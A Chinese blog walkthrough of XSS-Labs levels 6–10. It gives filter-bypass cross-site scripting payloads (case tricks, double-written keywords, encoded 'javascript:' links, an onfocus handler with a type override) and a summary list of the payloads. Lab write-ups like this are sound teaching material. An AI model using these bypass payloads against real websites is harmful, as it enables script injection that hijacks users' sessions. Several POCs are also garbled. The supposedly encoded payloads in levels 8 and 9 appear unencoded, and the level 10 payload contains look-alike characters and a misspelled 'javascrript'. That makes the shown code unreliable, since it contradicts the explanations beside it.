【XSS-Labs】关卡 6-10

╰半夏微凉° 2023-07-11 12:44 81阅读 0赞

**Level 6**

尝试关卡5的绕过方式，发现对`href`进行了替换

"> <a href="javascript:alert(1)">link</a>

![在这里插入图片描述][20200305193542753.png]  
不能使用`href`，也就是不能使用`a`标签，尝试`img`标签依然失败

尝试在a标签中加入大小写`hRef`，成功绕过  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70]  
**POC：**

"> <a hRef="javascript:alert(1)">link</a>

**Level 7**

输入第六关的绕过代码，结果如下：  
![在这里插入图片描述][20200305194858580.png]  
可见对`href`以及`script`量关键字进行了过滤，尝试双写绕过，成功执行  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 1]  
**POC：**

"> <a hrhrefef="javascscriptript:alert(1)">link</a>

**Level 8**

界面如下：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 2]  
输入了aaa提交，无任何反应，尝试点击**友情链接**，发现会将提交书记当作url访问  
![在这里插入图片描述][20200305204139971.png]  
输入`JavaScript:alert(1)`,结果对`script`进行了过滤，将其转换为`scr_ipt`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 3]  
尝试进行编码unicode编码：

javascript:alert(1)

成功执行  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 4]  
**POC：**

javascript:alert(1)

**Level 9**

界面与关卡8相同，输入aaa，链接也米娜如下  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 5]  
查看源码，链接href为指定数据  
![在这里插入图片描述][20200305214550235.png]  
尝试发现，在输入中必须包含`http://`才视为合法链接  
![在这里插入图片描述][20200305213838223.png]  
![在这里插入图片描述][20200305214348356.png]  
输入`javascript:alert(1)http://`尝试，发现对`script`进行了替换  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 6]  
对`javascript`进行实体编码：

javascript

![在这里插入图片描述][20200305223602431.png]  
其实只需要对`script`中的`t`进行实体编码即可：`javascript:alert(1)http://`  
![在这里插入图片描述][20200305222843175.png]  
成功提交  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 7]  
**POC：**

javascript:alert(1)//http://

**Level 10**

界面如下  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 8]  
给url中的`keyword`赋值没有效果，查看源码，发现了三个隐藏的表单  
![在这里插入图片描述][20200305225746160.png]  
在url中进行赋值提交，发现只有第三个表单起作用  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 9]  
尝试引号和尖括号是否被过滤，发现已经被过滤，因此只能利用表单事件：`onfocus`  
![在这里插入图片描述][20200305230146963.png]  
由于表单被隐藏，所以无法聚焦，因此采用重定义`type`，**在原type前重定义type为空**  
![在这里插入图片描述][20200305230439298.png]  
此时表单三已经出现  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 10]  
聚焦表单内，成功执行  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 11]  
此时的表单代码如下：  
![在这里插入图片描述][20200305225557568.png]  
**POC：**

" οnfοcus="javascrript:alert(1)" type="

--------------------

## 总结： ##

*  关卡6：同5替换on，触发事件不可用，使用伪链接替换触发事件 + 大小写绕过href替换过滤

"> <a hRef="javascript:alert(1)">link</a>

*  关卡7：同关卡6，直接替换为空，因此使用双写绕过

"> <a hrhrefef="javascscriptript:alert(1)">link</a>

*  关卡8：替换过滤Script，因此使用unicode编码绕过

javascript:alert(1)

*  关卡9：同8，编码绕过

javascript:alert(1)//http://

*  关卡10：隐藏了表单，过滤了特殊符号，因此采用表单事件绕过特殊符号点 + 表单类型重写绕过隐藏表单点

" οnfοcus="javascrript:alert(1)" type="

[20200305193542753.png]: https://img-blog.csdnimg.cn/20200305193542753.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200305194331427.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20200305194858580.png]: https://img-blog.csdnimg.cn/20200305194858580.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200305194626942.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200305204206655.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20200305204139971.png]: https://img-blog.csdnimg.cn/20200305204139971.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20200305204425875.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/20200305204746864.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/20200305213937980.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20200305214550235.png]: https://img-blog.csdnimg.cn/20200305214550235.png
[20200305213838223.png]: https://img-blog.csdnimg.cn/20200305213838223.png
[20200305214348356.png]: https://img-blog.csdnimg.cn/20200305214348356.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 6]: https://img-blog.csdnimg.cn/20200305222632783.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20200305223602431.png]: https://img-blog.csdnimg.cn/20200305223602431.png
[20200305222843175.png]: https://img-blog.csdnimg.cn/20200305222843175.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 7]: https://img-blog.csdnimg.cn/20200305223812281.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 8]: https://img-blog.csdnimg.cn/20200305224110105.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20200305225746160.png]: https://img-blog.csdnimg.cn/20200305225746160.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 9]: https://img-blog.csdnimg.cn/20200305225922735.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20200305230146963.png]: https://img-blog.csdnimg.cn/20200305230146963.png
[20200305230439298.png]: https://img-blog.csdnimg.cn/20200305230439298.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 10]: https://img-blog.csdnimg.cn/2020030523034338.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 11]: https://img-blog.csdnimg.cn/20200305225156149.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20200305225557568.png]: https://img-blog.csdnimg.cn/20200305225557568.png